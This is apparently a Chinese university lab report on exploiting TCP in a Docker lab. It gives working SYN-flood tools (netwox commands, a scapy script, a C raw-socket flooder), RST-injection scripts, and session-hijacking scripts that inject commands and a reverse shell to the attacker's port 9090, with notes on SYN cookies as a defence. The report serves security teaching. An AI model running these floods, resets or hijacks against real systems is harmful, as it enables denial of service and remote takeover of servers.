[计算机网络安全实验] TCP协议漏洞利用

时间:2022-11-14 09:52:20

TCP协议漏洞利用

1. IP说明

你的用户机IP、目标机(服务器)IP、攻击机IP

用户机IP: 172.17.0.2
目标机(服务器)IP: 172.17.0.3
攻击机IP: 172.17.0.1

2. SYN Flooding攻击 - netwox

netwox进行TCP SYN-Flooding攻击
(1)利用netwox工具,列出你的攻击命令。
(2)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图进行说明;
(3)  打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图进行说明

攻击命令:

$ sudo netwox 76 -i 172.17.0.3 -p 23

关闭syn-cookies攻击:

  1. 服务机: 初始状态, 首先关闭tcp的 syncookies, 以方便后续实验. 同时使用 netstat 查看服务器的连接状态, 可以看到初始没有连接.
    [计算机网络安全实验] TCP协议漏洞利用
    接下来打开服务器的 ftp 和 telnet 服务
    [计算机网络安全实验] TCP协议漏洞利用
  2. 客户机: 初始状态, 客户机尝试登录服务机 172.17.0.3 的 telnet, 可以正常登录
    [计算机网络安全实验] TCP协议漏洞利用
  3. 服务机: 此时查看连接状态, 发现和客户机 172.17.0.2 建立了一条tcp连接
    [计算机网络安全实验] TCP协议漏洞利用
  4. 攻击机: 此时攻击机使用netwox进行syn floodying进行攻击, 使用命令:
    $ sudo netwox 76 -i 172.17.0.3 -p 23
    
    [计算机网络安全实验] TCP协议漏洞利用
  5. 客户机: 此时客户机再尝试 telnet 登录服务机, 发现一直卡在尝试连接处
    [计算机网络安全实验] TCP协议漏洞利用
  6. 服务机: 再次查看连接状态, 发现有大量连接请求, 状态均为 SYN_RECV
    [计算机网络安全实验] TCP协议漏洞利用
  • 说明: 由于关闭了 syn-cookies, 服务器在建立半开连接时也会分配资源,从而使得服务器资源耗尽, 使得无法计时响应服务器的连接请求

打开syn-cookies

  1. 服务机: 查看 SYN cookie 标志, 可以见到其值为0. 然后将 SYN cookie 打开.
    [计算机网络安全实验] TCP协议漏洞利用
  2. 攻击机: 再次尝试攻击服务机,
  3. 客户机: 客户机可以正常使用telnet登录服务机
    [计算机网络安全实验] TCP协议漏洞利用
  4. 服务机: 服务机查看连接, 可以发现同样有大量连接建立.
    [计算机网络安全实验] TCP协议漏洞利用
  • PS: 服务机由于开启了 SYN cookie, 虽然收到了攻击机发送的请求大量报文并尝试与其建立连接, 但是与不开启相比, 服务机并不是在发送第二次握手信息后紧接着分配资源, 而是根据请求的 syn 包计算出一个 cookie, 只有在收到第三次握手时校验 cookie 合法后才为该连接分配资源, 因而服务器不会由于攻击者的大量请求连接而拒绝服务.

3. SYN Flooding攻击 - scapy

scapy进行TCP SYN-Flooding攻击
(1)利用scapy进行攻击,提交scapy脚本
(2)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
 (3)  打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;

scapy 脚本

#!/usr/bin/python2
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

a = IP(dst="172.17.0.3")	# server IP
b = TCP(sport=1551, dport=23, seq=1551, flags='S')
pkt = a/b

while True:
    pkt['IP'].src = str(IPv4Address(getrandbits(32)))
    send(pkt, verbose = 0)

关闭syn-cookies

  1. 服务机, 客户机: 初始状态和1中相同, 客户机可以正常使用telnet连接服务机, 服务机和客户机 172.17.0.2 建立了一条tcp连接
    [计算机网络安全实验] TCP协议漏洞利用
  2. 攻击机: 使用 scapy 编写攻击脚本, 目标为服务机 172.17.0.3, 然后执行脚本
    [计算机网络安全实验] TCP协议漏洞利用
    [计算机网络安全实验] TCP协议漏洞利用
  3. 客户机: 此时客户机尝试与服务机连接, 发现可以连接上, 但一直没有显示Login.
    [计算机网络安全实验] TCP协议漏洞利用
  • PS: 使用scapy进行 SYN flooding 的效果没有 netwox 好, 过一段时间实际上会出现 login 字符登录.
  1. 服务机: 此时服务机查看连接状态, 发现有大量 SYN_RECV 状态连接
    [计算机网络安全实验] TCP协议漏洞利用
  • 说明: 由于关闭了 syn-cookies, 服务器在建立半开连接时也会分配资源,从而使得服务器资源耗尽, 使得无法计时响应服务器的连接请求

打开syn-cookies:

  1. 服务机: 查看 SYN cookie 标志, 可以见到其值为0. 然后将 SYN cookie 打开.
    [计算机网络安全实验] TCP协议漏洞利用
  2. 攻击机: 再次尝试使用 scapy 脚本攻击服务机
  3. 客户机: 客户机可以正常使用 telnet 登录服务机
    [计算机网络安全实验] TCP协议漏洞利用
  4. 服务机: 服务机查看连接, 可以发现同样有大量连接建立
    [计算机网络安全实验] TCP协议漏洞利用

4. SYN Flooding攻击 - C

C程序进行TCP SYN-Flooding攻击
(1)关闭syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
 (2)  打开syn-cookies选项,攻击前用户机访问目标机效果,攻击中用户机访问目标机效果,文字和截图说明;
(3)提交C代码片段(修改部分)

关闭syn-cookies

  1. 服务机,客户机: 初始状态和上述攻击方式的初始状态相同, 在此不再展示.
  2. 攻击机:
    编写并编译C语言程序, C语言程序中主要是通过死循环不停构造目的IP地址是服务机IP的 tcp 请求数据包, 来实现 SYN flooding.
    [计算机网络安全实验] TCP协议漏洞利用
    编译运行程序
    [计算机网络安全实验] TCP协议漏洞利用
  3. 客户机: 此时客户机再尝试 telnet 登录服务机, 发现一直卡在尝试连接处
    [计算机网络安全实验] TCP协议漏洞利用
  4. 服务机: 再次查看连接状态, 发现有大量连接请求, 状态均为 SYN_RECV
    [计算机网络安全实验] TCP协议漏洞利用

C代码

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

#include "myheader.h"

#define DEST_IP    "172.17.0.3"	//srver ip 
#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);
void send_raw_ip_packet(struct ipheader* ip);


/******************************************************************
  Spoof a TCP SYN packet.
*******************************************************************/
int main() {
   char buffer[PACKET_LEN];
   struct ipheader *ip = (struct ipheader *) buffer;
   struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                   sizeof(struct ipheader));

   srand(time(0)); // Initialize the seed for random # generation.
   while (1) {
     memset(buffer, 0, PACKET_LEN);
     /*********************************************************
        Step 1: Fill in the TCP header.
     ********************************************************/
     tcp->tcp_sport = rand(); // Use random source port
     tcp->tcp_dport = htons(DEST_PORT);
     tcp->tcp_seq   = rand(); // Use random sequence #
     tcp->tcp_offx2 = 0x50;
     tcp->tcp_flags = TH_SYN; // Enable the SYN bit
     tcp->tcp_win   = htons(20000);
     tcp->tcp_sum   = 0;

     /*********************************************************
        Step 2: Fill in the IP header.
     ********************************************************/
     ip->iph_ver = 4;   // Version (IPV4)
     ip->iph_ihl = 5;   // Header length
     ip->iph_ttl = 50;  // Time to live
     ip->iph_sourceip.s_addr = rand(); // Use a random IP address
     ip->iph_destip.s_addr = inet_addr(DEST_IP);
     ip->iph_protocol = IPPROTO_TCP; // The value is 6.
     ip->iph_len = htons(sizeof(struct ipheader) +
                         sizeof(struct tcpheader));

     // Calculate tcp checksum
     tcp->tcp_sum = calculate_tcp_checksum(ip);

     /*********************************************************
       Step 3: Finally, send the spoofed packet
     ********************************************************/
     send_raw_ip_packet(ip);
   }

   return 0;
}


/*************************************************************
  Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end, if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}


/****************************************************************
  TCP checksum is calculated on the pseudo header, which includes
  the TCP header and data, plus some part of the IP header.
  Therefore, we need to construct the pseudo header first.
*****************************************************************/
unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
   struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

   int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

   /* pseudo tcp header for the checksum computation */
   struct pseudo_tcp p_tcp;
   memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

   p_tcp.saddr  = ip->iph_sourceip.s_addr;
   p_tcp.daddr  = ip->iph_destip.s_addr;
   p_tcp.mbz    = 0;
   p_tcp.ptcl   = IPPROTO_TCP;
   p_tcp.tcpl   = htons(tcp_len);
   memcpy(&p_tcp.tcp, tcp, tcp_len);

   return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                     tcp_len + 12);
}

5. TCP RST攻击 - netwox

用netwox进行TCP Reset 攻击
(1)Wireshark截包截图,截图中需要包含TCP首部关键信息;
(2)利用netwox工具,列出你的攻击命令(需要跟上面的Wireshark截图匹配);
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

Wireshark截图

使用netwox时无需关注数据包, 因此此处未对具体数据包截图

netwox攻击命令

$ sudo netwox 78 -d docker0

攻击过程

  1. 攻击机: 初始状态启动 Wireshark 捕获数据包
  2. 客户机: 客户机使用 telnet 命令连接服务机
    [计算机网络安全实验] TCP协议漏洞利用
  3. 服务机: 服务机上使用netstat命令可以看到与客户机(172.17.0.2)建立了一条tcp连接
    [计算机网络安全实验] TCP协议漏洞利用
  4. 攻击机: 攻击机的Wireshark捕获到了客户机(172.17.0.2)与服务机(172.170.0.3)的报文
    [计算机网络安全实验] TCP协议漏洞利用
  5. 攻击机: 使用 netwox 78 号工具进行RST攻击, 设备是 docker0 网卡, 即与客户机同网络的网卡
    [计算机网络安全实验] TCP协议漏洞利用
  6. 客户机: 回车后就发现退出了telnet连接, 且显示连接被外部主机关闭.
    [计算机网络安全实验] TCP协议漏洞利用
  7. 服务机: 再使用netstat命令, 已经没有与客户机的连接
  8. 攻击机: Wireshark截获到了伪造的RST包
    [计算机网络安全实验] TCP协议漏洞利用
  9. 攻击成功: 攻击成功时客户机上的 telnet 连接会断开. 期待看到在 netstat 中客户机与服务器的tcp连接关闭, 以及可以通过Wireshark中有RST包. 观察结果和预期相同.

6. TCP RST攻击 - scapy手动

用scapy进行TCP Reset手动 攻击
(1)Wireshark截包截图,截图中需要包含TCP首部关键信息;
(2)利用scapy工具,贴出你的scapy脚本(需要跟上面的Wireshark截图匹配)
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

Wireshark截图

[计算机网络安全实验] TCP协议漏洞利用

脚本

reset_manual.py

#!/usr/bin/python3
from scapy.all import *

print("SENDING RESET PACKET.........")
ip  = IP(src="172.17.0.3", dst="172.17.0.2")
tcp = TCP(sport=23, dport=39188,flags="R",seq=3249877213)
pkt = ip/tcp
ls(pkt)
send(pkt,verbose=0)

攻击过程

  1. 攻击机, 客户机: 初始状态与 任务二-1 中的相同, 攻击机使用Wireshark捕获报文, 客户机建立与服务机的telnet连接, 在此不多赘述.
  2. 攻击机: 捕获到了客户机与服务机之间的报文, 且下图为最后一个tcp报文, 是客户机(172.17.0.2)发送给服务机(172.170.0.3)的, 且得到了源端口号为 39188, 目的端口号为 23, 该报文的序列号为 3410403667, 确认号为 3249877213, 长度为 0. 具体图像见上面 Wireshark 截图
  3. 攻击机: 编写 scapy 脚本, 其中构建的 IP 报文的源地址为服务机 172.17.0.3, 目的地址为客户机 172.17.0.2. tcp报文构造一个 RST 包, 其中端口号和序列号参考捕获的tcp报文, 源端口为服务机端口 23, 目的端口为客户机端口 39188, 序列号时上述报文的确认号 3249877213.
  4. 攻击机: 执行脚本, 显示成功发送了RST包
    [计算机网络安全实验] TCP协议漏洞利用
  5. 客户机: 客户机显示连接被外部主机关闭.
    [计算机网络安全实验] TCP协议漏洞利用

7. TCP RST攻击 - scapy自动

用Scapy进行TCP Reset自动攻击
(1)贴出你的scapy脚本;
(2)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

scapy脚本

reset_auto.py

#!/usr/bin/python2
from scapy.all import *

SRC  = "172.17.0.2"		# client IP
DST  = "172.17.0.3"		# server IP
PORT = 23				# server port

def spoof(pkt):
    old_tcp = pkt[TCP]
    old_ip  = pkt[IP]

    #############################################
    ip  =  IP( src   = old_ip.dst , 	# server IP
               dst   = old_ip.src 		# client IP
             )
    tcp = TCP( sport = old_tcp.dport , 	# server port
               dport = old_tcp.sport , 	# client port
               seq   = old_tcp.ack,		# client->server ack
               flags = "R"
             ) 
    #############################################

    pkt = ip/tcp
    send(pkt,verbose=0)
    print("Spoofed Packet: {} --> {}".format(ip.src, ip.dst))

f = 'tcp and src host {} and dst host {} and dst port {}'.format(SRC, DST, PORT)
sniff(filter=f, prn=spoof)

攻击过程

  1. 客户机: 初始状态与 任务二-1 中的相同, 客户机建立与服务机的telnet连接, 在此不多赘述.
  2. 攻击机: 编写scapy脚本, 自动填充IP和TCP报文来进行RST攻击
    其中, 使用 sniff 函数来监听指定的报文, 过滤条件为f, 即监听源IP为客户机172.17.0.2, 目标IP为服务机 172.17.0.3, 端口号为 telnet 的 23 的报文.
    然后监听到报文后会调用 spoof 函数. 而 spoof 函数就是用来封装发送 RST 包的. 其中发送IP包的源IP就是捕获包的目的 IP, 也就是服务机 IP; 目的 IP 是捕获包的源 IP, 也就是客户机 IP; 然后发送 TCP 包的源端口号就是捕获包的目的端口号, 即服务器的端口号; 目的端口号是捕获包的源端口号, 即客户机的端口号; 然后序列号时捕获包的确认号, 同时带有复位比特R.
    最后进行发送, 即伪装成服务器发送给客户机一个 RST 包, 关闭连接.
  3. 攻击机: 执行 scapy 脚本
    [计算机网络安全实验] TCP协议漏洞利用
  4. 客户机: 客户机显示连接被外部主机关闭.
    [计算机网络安全实验] TCP协议漏洞利用

8. TCP会话劫持攻击 - netwox

用netwox进行TCP 会话劫持攻击,包括注入普通命令和反向shell
(1)Wireshark截包截图;
(2)利用netwox工具,列出你的攻击命令(需要跟Wireshark截图匹配);
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

普通命令

Wireshark截图

[计算机网络安全实验] TCP协议漏洞利用

netwox攻击命令

$ sudo netwox 40 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 39198 --tcp-dst 23 --tcp-seqnum 3039279538 --tcp-acknum 2771901797 --tcp-ack --tcp-window 227 --tcp-data "6c730d00"

攻击过程

  1. 客户机, 攻击机: 初始状态与 任务二-1 中的相同, 攻击机使用 Wireshark 捕获报文, 客户机建立与服务机的 telnet 连接, 在此不多赘述.
  2. 攻击机: Wireshark 捕获到了客户机和服务器之间的 telnet 数据包, 找到服务器返回客户机的最后一个 telnet 数据包, 来分析: 可以看到客户机的端口号为 39198, TCP 的序列号为 2771901766, 确认号为 3039279538, TCP数据包长度为31字节. 可见上述 Wireshark 截图
  3. 攻击机: 根据上述截获的服务器到客户机的报文, 使用 netwox 40 号工具伪造一个客户机到服务器的报文, 来达到会话劫持的目的.
    其中, 伪造的源IP即客户机IP 172.17.0.2, 目的 IP 为服务器IP 172.17.0.3, 源端口号由上述报文得到客户机端口号为 39198, 目的端口号即服务器 telnet 端口号 23, tcp 的序列号为上述报文的确认号, 即 3039279538; tcp的确认号为 上述报文的序列号2771901766+TCP报文长度31=2771901797, 窗口大小为上述报文中获取的 227.
    此处伪造报文让服务器显示 ls 的执行结果, ls 转换成16进制并加上 \r 的16进制数得到 6c730d00, 作为tcp的数据部分.
    使用 netwox 发送该伪造报文
  4. 攻击机: Wireshark 捕获到了攻击机伪造的TCP报文
    [计算机网络安全实验] TCP协议漏洞利用
    同时也捕获到了服务器发送给客户机的telnet响应报文, 可以看到Data部分就是ls执行的结果, 劫持TCP会话成功.
    [计算机网络安全实验] TCP协议漏洞利用
  5. 客户机: 劫持攻击成功后, 客户机便于服务机失去了连接, 表现出的现象为进程卡死, 无法输入命令
  6. 攻击成功. 可以通过 Wireshark 截包得到伪造的客户机发送给服务器的数据包, 同时捕获到服务器发送给客户端的执行了伪造报文后的响应数据包, 如上图. 期待看到的就是有服务器发送给客户机的响应数据包. 观察到如下图的数据重发情况, 以及客户机的 telnet 连接卡死的现象. 过程结果与预期相同.
    [计算机网络安全实验] TCP协议漏洞利用
  • 上图分析: 劫持会话后会出现TCP重传的现象. 究其原因是因为攻击者伪装为客户机向服务器发送了报文, 由于TCP是可靠的, 因此服务器对伪造的报文响应telnet数据包后也需要得到客户机的确认响应. 但显然, 真正的客户机并没有发送该报文, 因此对服务器得到的tcp数据包予以丢弃并不进行确认, 因此服务器需要多次重传该数据包

反向shell

Wireshark截图

[计算机网络安全实验] TCP协议漏洞利用

攻击命令

$ sudo netwox 40 --ip4-src 172.17.0.2 --ip4-dst 172.17.0.3 --tcp-src 39464 --tcp-dst 23 --tcp-seqnum 3046193310 --tcp-acknum 395284271 --tcp-ack --tcp-window 227 --tcp-data "2f62696e2f62617368202d69203e202f6465762f7463702f3137322e31372e302e312f3930393020303c263120323e26310d00"

其中, 数据为 /bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1 的16进制形式

攻击过程

  1. 攻击机: 打开一个控制台执行命令: nc -l 9090 -v
    [计算机网络安全实验] TCP协议漏洞利用
  2. 攻击机: 另一个控制台发送上述命令, 然后成功劫持会话获得反向shell
    [计算机网络安全实验] TCP协议漏洞利用
  3. 攻击机: 可以看到通过ip addr 以及 hostname 命令确认了当前shell是服务器的
    [计算机网络安全实验] TCP协议漏洞利用
  4. 攻击成功. 可以通过 Wireshark 截包得到伪造的客户机发送给服务器的数据包, 同时捕获到服务器发送给客户端的执行了伪造报文后的响应数据包, 如上图. 期待看到的就是有服务器发送给客户机的响应数据包.同时,攻击机得到了服务器的 shell. 观察到如下图的数据重发情况, 以及客户机的 telne t连接卡死的现象. 过程结果与预期相同.
    [计算机网络安全实验] TCP协议漏洞利用

9. TCP会话劫持攻击 - scapy手动

用scapy进行TCP会话劫持 手动攻击,包括注入普通命令和反向shell
(1)Wireshark截包截图
(2)利用scapy工具,贴出你的scapy脚本(需要跟Wireshark截图匹配)
(3)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

普通命令

Wireshark截图:

[计算机网络安全实验] TCP协议漏洞利用

scapy脚本

hijacking_manual.py

#!/usr/bin/python2
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=39222, dport=23, flags="A", seq=1566209905, ack=2293856876)
data = "\n touch /tmp/myfile.txt\n"
pkt = ip/tcp/data
send(pkt, verbose=0)

攻击过程:

  1. 客户机, 攻击机: 初始状态与 任务二-1 中的相同, 攻击机使用Wireshark捕获报文, 客户机建立与服务机的telnet连接, 在此不多赘述.
  2. 攻击机: Wireshark 捕获到了客户机和服务器之间的 telnet 数据包, 找到服务器返回客户机的最后一个 telnet 数据包, 和 任务三-1 中分析方法一样, 主要关注TCP报文中的端口号, 序列号, 确认号, 报文长度, 窗口大小等字段, 在此不多赘述. 截图见上面Wireshark截图.
  3. 攻击机: 根据上述报文编写scapy脚本
    其中, 伪造数据包的源IP为客户机IP, 目的IP为服务器IP, 同时按照上述截获报文设置了源端口, 目的端口, 序列号以及确认号(计算方法和 任务三-1 相同, 在此不多赘述).
    其中, 数据部分是使用 touch 命令新建在服务器 tmp 目录下创建 myfile.txt 文件.
    攻击机执行scapy脚本, 发送了攻击数据包
    [计算机网络安全实验] TCP协议漏洞利用
  4. 攻击机: Wireshark捕获到了攻击机伪造的TCP报文
    [计算机网络安全实验] TCP协议漏洞利用
    同时也捕获到了服务器发送给客户机的telnet响应报文, 可以看到Data部分就是服务器创建文件的命令.
    [计算机网络安全实验] TCP协议漏洞利用
  5. 服务机: 此时在服务器列出 tmp 目录下的文件, 可以看到有 myfile.txt, 证明攻击者劫持会话成功.
    [计算机网络安全实验] TCP协议漏洞利用

反向shell

Wireshark截图

[计算机网络安全实验] TCP协议漏洞利用

scapy脚本

hijacking_manual_shell.py

#!/usr/bin/python2
from scapy.all import *

print("SENDING SESSION HIJACKING PACKET.........")

ip  = IP(src="172.17.0.2", dst="172.17.0.3")
tcp = TCP(sport=39472, dport=23, flags="A", seq=1572284240, ack=1730912667)
data = "\n/bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1\n"
pkt = ip/tcp/data
send(pkt, verbose=0)

攻击过程

  1. 攻击机: 打开一个控制台执行命令: nc -l 9090 -v
  2. 攻击机: 另一个控制台执行脚本, 然后成功劫持会话获得反向 shell
    [计算机网络安全实验] TCP协议漏洞利用
    [计算机网络安全实验] TCP协议漏洞利用

10. TCP会话劫持攻击 - scapy自动

用Scapy进行TCP 会话劫持自动攻击,包括注入普通命令和反向shell
(1)贴出你的scapy脚本;
(2)观察和解释:你的攻击是否成功?你怎么知道它是否成功?你期待看到什么?你观察到了什么?观察结果是你预想的那样吗?

普通命令

scapy脚本

hijacking_auto.py

#!/usr/bin/python2
from scapy.all import *

SERVER_IP  = "172.17.0.3"
CLIENT_IP  = "172.17.0.2"
SERVER_PORT = 23


def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]
    if Raw not in pkt:		# not telnet
    	return
    old_raw = pkt[Raw]		# data
    if not old_raw.load.endswith(':~$ '):	# not load 
    	return

    #############################################
    ip  =  IP( src   = old_ip.dst,
               dst   = old_ip.src
             )
    tcp = TCP( sport = old_tcp.dport,
               dport = old_tcp.sport,
               seq   = old_tcp.ack,
               ack   = old_tcp.seq+len(old_raw),
               flags = "A"
             )
    data = 'echo hijacking\r'
    #############################################

    pkt = ip/tcp/data
    send(pkt,verbose=0)
    ls(pkt)
    quit()

f = 'tcp and src host {} and dst host {} and src port {}'.format(SERVER_IP, CLIENT_IP, SERVER_PORT)
sniff(filter=f, prn=spoof)

攻击过程

  1. 攻击机: 初始状态使用 Wireshark 捕获报文
  2. 攻击机: 编写 scapy 脚本, 自动填充IP和TCP报文来进行攻击, 代码如下
    其中, 主要使用sniff函数来捕获报文, 过滤条件f是源IP是服务器IP, 目的IP是客户机IP, 源端口是 telnet 端口23.
    同时, 在 sniff() 函数中设置回调函数 spoof(). 首先判断当前截获的数据包是否有数据包 Raw, 如果没有的话就跳过, 表明当前数据包不包括应用层的 telnet 数据. 然后判断 telnet 数据包中的数据(load)是否以字符串 :~$ 结尾, 只有以该字符串结尾才能表明当前客户机成功登录到了服务器的 telnet, 否则同样跳过该数据包.
    若判断当前客户机已经登录到了服务器 telnet, 则发送伪造的数据包. 伪造数据包的源IP为接收包的目的IP, 即客户机IP; 目的IP为接收包的源IP即服务器IP; 源端口为接收包的目的端口, 即客户机的端口号; 目的端口号为接收包的源端口号, 即服务器的端口号23.
    其中, 应用层的数据包为 echo hijacking\r , 即让服务器回显字符串 hijacking.
  3. 攻击机: 执行 scapy 脚本
  4. 客户机: 使用telnet连接服务器
    [计算机网络安全实验] TCP协议漏洞利用
  5. 攻击机: 在客户机成功连接上服务器的同时, 攻击机的 scapy 脚本就会发送攻击报文
    [计算机网络安全实验] TCP协议漏洞利用
  6. 攻击机: Wireshark 成功捕获到了发送的伪造的报文
    [计算机网络安全实验] TCP协议漏洞利用
    同时, 也捕获到了服务器发给客户机的 hijacking 字符串的回显数据包, 证明成功实现了自动TCP会话劫持.
    [计算机网络安全实验] TCP协议漏洞利用

反向shell

scapy脚本

hijacking_auto_shell.py

#!/usr/bin/python2
from scapy.all import *

SERVER_IP  = "172.17.0.3"
CLIENT_IP  = "172.17.0.2"
SERVER_PORT = 23


def spoof(pkt):
    old_ip  = pkt[IP]
    old_tcp = pkt[TCP]
    if Raw not in pkt:		# not telnet
    	return
    old_raw = pkt[Raw]		# data
    if not old_raw.load.endswith(':~$ '):	# not load 
    	return

    #############################################
    ip  =  IP( src   = old_ip.dst,
               dst   = old_ip.src
             )
    tcp = TCP( sport = old_tcp.dport,
               dport = old_tcp.sport,
               seq   = old_tcp.ack,
               ack   = old_tcp.seq+len(old_raw),
               flags = "A"
             )
    data = '\n/bin/bash -i > /dev/tcp/172.17.0.1/9090 0<&1 2>&1\n'
    #############################################

    pkt = ip/tcp/data
    send(pkt,verbose=0)
    ls(pkt)
    quit()

f = 'tcp and src host {} and dst host {} and src port {}'.format(SERVER_IP, CLIENT_IP, SERVER_PORT)
sniff(filter=f, prn=spoof)

攻击过程

  1. 攻击机: 打开一个控制台执行命令: nc -l 9090 -v
    [计算机网络安全实验] TCP协议漏洞利用
  2. 攻击机: 另一个控制台执行脚本, 然后成功劫持会话获得反向shell
    [计算机网络安全实验] TCP协议漏洞利用